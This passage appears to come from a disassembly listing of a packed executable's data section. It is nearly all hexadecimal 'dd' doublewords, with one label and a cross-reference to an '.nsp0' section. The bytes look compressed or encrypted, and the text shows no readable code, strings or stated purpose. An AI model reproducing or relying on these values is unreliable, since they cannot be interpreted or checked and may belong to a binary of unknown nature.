0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h dd 68288F00h, 3D800301h dword_4E414C dd 65700041h, 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h ; DATA XREF: .nsp0:off_442420o dd 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h dd 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h dd 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h dd 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h dd 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch dd 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh, 1291F0A1h dd 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah, 0A63D51D5h dd 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h, 153E3238h dd 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h dd 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h, 0B1528h dd 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h, 0B79C985h dd 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h dd 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h dd 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch dd 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh dd 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh, 703C70Fh dd 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah dd 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h dd 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h, 3CAC0B00h dd 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h, 4A522A0Bh dd 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h, 9149200h dd 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h dd 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h dd 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh dd 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh dd 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h, 2C0239BAh dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h dd 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h, 1D5C890Dh dd 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h, 0E6BF5A92h dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h dd 7448C51h, 591913CAh, 0A8870EAFh, 78962640h, 6B050969h dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h, 297B0099h dd 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h, 0E8170781h dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h, 5EDF6Dh dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h, 0EAC55E03h dd 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h, 775C5375h dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh, 7F1F31D7h dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h, 67D10DE4h dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh dd 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h, 172DB68Dh dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh dd 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h, 0AF0E026h dd 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h, 0B79BE40h dd 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh dd 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh dd 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h, 5ABC3Eh dd 0C031B244h, 154C966h, 428F1E50h, 0DD105180h, 8BD2F80Fh dd 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh, 3916D7D8h dd 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh dd 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h dd 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh dd 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h dd 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh dd 1B1CC7FAh, 88508043h, 62070414h, 84135640h, 0DDD21B1h dd 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h, 0CD7C8B00h dd 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh dd 788977h, 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h dd 0C88B88h, 3AC677CAh, 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh dd 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh dd 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h, 6BF04500h dd 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h dd 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh dd 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h dd 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h dd 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h dd 88AAD160h, 1470700h, 0DE7AD748h, 2AC80481h, 80F7760Fh dd 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h, 0C131A990h dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h dd 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h, 1489313h dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h dd 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h dd 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h dd 0FA1EBB60h dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah, 9E62B9h dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h, 189093Eh dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h, 8F92899Ah dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h dd 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah dd 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah, 53A05755h dd 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h dd 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h, 39FD0004h dd 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh dd 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah dd 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h dd 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h dd 3854491Ch, 86E97282h, 92836048h, 0C0070020h, 5C742C7Fh dd 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh, 483D1ECFh dd 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h, 52E130E7h dd 43963D00h, 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh dd 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h, 1E2A40C8h dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h dd 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh dd 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h dd 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h, 417E1D05h dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h dd 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh dd 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh dd 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h dd 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh, 0C05857DCh dd 277007Ch, 5213C201h dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h dd 4F8B0088h, 